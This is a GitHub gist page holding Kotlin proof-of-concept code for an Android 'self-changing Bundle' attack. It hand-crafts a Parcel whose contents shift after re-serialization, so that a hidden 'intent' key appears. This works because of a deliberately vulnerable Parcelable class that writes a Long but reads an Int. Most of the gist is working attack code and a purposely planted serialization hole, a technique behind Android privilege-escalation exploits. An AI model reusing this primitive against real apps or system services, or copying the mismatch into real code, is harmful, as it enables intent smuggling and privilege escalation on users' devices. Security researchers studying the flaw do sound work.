Created
February 23, 2023 07:15
-
-
Save evilpan/851b95e40a86c419e657c3177fa481b7 to your computer and use it in GitHub Desktop.
Self changing bundle PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.evilpan.poc | |
import android.os.Bundle | |
import android.os.Parcel | |
import java.nio.ByteBuffer | |
import java.nio.ByteOrder | |
object BundleTest { | |
enum class Type(val value: Int) { | |
VAL_NULL(-1), | |
VAL_STRING( 0), | |
VAL_INTEGER(1), | |
VAL_MAP(2), | |
VAL_BUNDLE(3), | |
VAL_PARCELABLE(4), | |
VAL_SHORT(5), | |
VAL_LONG(6), | |
VAL_FLOAT(7), | |
VAL_DOUBLE(8), | |
VAL_BOOLEAN(9), | |
VAL_CHARSEQUENCE(10), | |
VAL_LIST(11), | |
VAL_SPARSEARRAY(12), | |
VAL_BYTEARRAY(13), | |
VAL_STRINGARRAY(14), | |
VAL_IBINDER(15), | |
VAL_PARCELABLEARRAY(16), | |
VAL_OBJECTARRAY(17), | |
VAL_INTARRAY(18), | |
VAL_LONGARRAY(19), | |
VAL_BYTE(20), | |
VAL_SERIALIZABLE(21), | |
VAL_SPARSEBOOLEANARRAY(22), | |
VAL_BOOLEANARRAY(23), | |
VAL_CHARSEQUENCEARRAY(24), | |
VAL_PERSISTABLEBUNDLE(25), | |
VAL_SIZE(26), | |
VAL_SIZEF(27), | |
VAL_DOUBLEARRAY(28); | |
companion object { | |
fun fromInt(value: Int) = Type.values().first { it.value == value } | |
} | |
} | |
private val VAL_INTEGER = Type.VAL_INTEGER.value.toByte() | |
private val VAL_BYTEARRAY = Type.VAL_BYTEARRAY.value.toByte() | |
fun run() { | |
try { | |
poc() | |
} catch (e: java.lang.Exception) { | |
Log.i("Error: $e") | |
} | |
} | |
private fun poc() { | |
val p = Parcel.obtain() | |
val lengthPos = p.dataPosition() | |
// header | |
p.writeInt(-1) // length | |
p.writeInt(0x4C444E42) // magic | |
val startPos = p.dataPosition(); | |
p.writeInt(3) // numItem | |
// A0 | |
p.writeString("A") | |
p.writeInt(Type.VAL_PARCELABLE.value) | |
p.writeString("com.evilpan.poc.Vulnerable") | |
p.writeInt(666) // mData | |
// A1 | |
p.writeString("\u000d\u0000\u0008") // 0d00 0000 0800 | |
p.writeInt(Type.VAL_BYTEARRAY.value) | |
p.writeInt(28) | |
p.writeString("intent") // 4 + padSize((6 + 1) * 2) = 4+16 = 20 | |
p.writeInt(Type.VAL_INTEGER.value) // = 4 | |
p.writeInt(0x1337) // = 4 | |
// A2 | |
p.writeString("BBB") | |
p.writeInt(Type.VAL_NULL.value) | |
// Back-patch length | |
val endPos = p.dataPosition() | |
p.setDataPosition(lengthPos); | |
val length = endPos - startPos; | |
p.writeInt(length); | |
p.setDataPosition(endPos); | |
// reset position | |
p.setDataPosition(lengthPos) | |
// Util.saveExternal(Global.context, p.marshall(), "p0.bin") | |
// Log.i("lengthPos: $lengthPos") | |
val A = unparcel(p) | |
Log.i("A = " + inspect(A)) | |
Log.i("A.containsKey: " + A.containsKey("intent")) | |
// val p1 = parcel(A) | |
// Util.saveExternal(Global.context, p1.marshall(), "p1.bin") | |
// val B = unparcel(p1) | |
val B = unparcel(parcel(A)) | |
Log.i("B = " + inspect(B)) | |
Log.i("B.containsKey: " + B.containsKey("intent")) | |
p.recycle() | |
} | |
private fun testBundle() { | |
val b = Bundle() | |
b.putInt("key1", 0x1337) | |
b.putString("key2", "\u1234") | |
b.putParcelable("key3", Vulnerable(42L)) | |
// b.putByteArray("key3", byteArrayOf(1,2,3)) | |
Log.i("b: " + inspect(b)) | |
} | |
private fun parcel(b: Bundle): Parcel { | |
val p = Parcel.obtain() | |
val pos = p.dataPosition() | |
p.writeBundle(b) | |
p.setDataPosition(pos) | |
return p | |
} | |
private fun unparcel(p: Parcel): Bundle { | |
// When Bundle is read from parcel, mParcelledData is stored, and sMap is not parsed yet. | |
// So we need to trigger the unparcel inside bundle | |
// See: | |
// https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/BaseBundle.java;l=1824;drc=9b25969d7bf3e31c5b7fec5b34c37a304b6a7fa7;bpv=0;bpt=1 | |
// bundle.size() | |
return p.readBundle(javaClass.classLoader)!! | |
} | |
private fun padSize(size: Int): Int { | |
return (size + 3) and (-4) | |
} | |
private fun readN(buf: ByteBuffer, size: Int): ByteArray { | |
val data = ByteArray(size) | |
buf.get(data) | |
return data | |
} | |
private fun readString(buf: ByteBuffer, hex: Boolean = false): String { | |
val size = readInt(buf) | |
val psize = padSize((size + 1) * 2) | |
val data = readN(buf, psize) | |
return if (hex) | |
Util.hexilify(data) | |
else | |
String(data, 0, size * 2, Charsets.UTF_16LE) // Unicode is Little Endian | |
} | |
private fun readInt(buf: ByteBuffer): Int { | |
return buf.int | |
} | |
private fun readLong(buf: ByteBuffer): Long { | |
return buf.long | |
} | |
private fun readByteArray(buf: ByteBuffer): ByteArray { | |
val size = readInt(buf) | |
return readN(buf, padSize(size)) | |
} | |
private fun readVulnerable(buf: ByteBuffer): String { | |
val className = readString(buf) | |
return className + "{mData=" + readInt(buf) + "}" | |
} | |
private fun inspect(bundle: Bundle, saveAs: String? = null): String { | |
val p = Parcel.obtain() | |
val sb = StringBuffer() | |
p.writeBundle(bundle) | |
val data = p.marshall() | |
if (saveAs != null) { | |
Util.saveExternal(Global.context, data, saveAs) | |
} | |
val bb = ByteBuffer.allocate(data.size) | |
bb.order(ByteOrder.LITTLE_ENDIAN) | |
bb.put(data) | |
bb.rewind() | |
val length = readInt(bb) | |
val magic = readInt(bb) | |
val numItem = readInt(bb) | |
sb.append("Bundle(item = $numItem) length: $length") | |
for (i in 0 until numItem) { | |
val key = readString(bb, true) | |
val vt = readInt(bb) | |
val type = Type.fromInt(vt) | |
val value = when(type) { | |
Type.VAL_NULL -> null | |
Type.VAL_INTEGER -> readInt(bb).toString(16) | |
Type.VAL_LONG -> readLong(bb).toString(16) | |
Type.VAL_STRING -> readString(bb, true) | |
Type.VAL_BYTEARRAY -> Util.hexilify(readByteArray(bb)) | |
Type.VAL_PARCELABLE -> readVulnerable(bb) | |
else -> { | |
Log.i("not handled: $type") | |
null | |
} | |
} | |
sb.append("\n => $key = $type:$value") | |
} | |
p.recycle() | |
return sb.toString() | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.evilpan.poc | |
import android.os.Parcel | |
import android.os.Parcelable | |
class Vulnerable(var mData: Long = 0L) : Parcelable { | |
constructor(parcel: Parcel) : this() { | |
mData = parcel.readInt().toLong() | |
} | |
override fun writeToParcel(parcel: Parcel, flags: Int) { | |
Log.i("=== writeToParcel ===") | |
parcel.writeLong(mData) | |
} | |
override fun describeContents(): Int { | |
return 0 | |
} | |
companion object CREATOR : Parcelable.Creator<Vulnerable> { | |
override fun createFromParcel(parcel: Parcel): Vulnerable { | |
return Vulnerable(parcel) | |
} | |
override fun newArray(size: Int): Array<Vulnerable?> { | |
return arrayOfNulls(size) | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment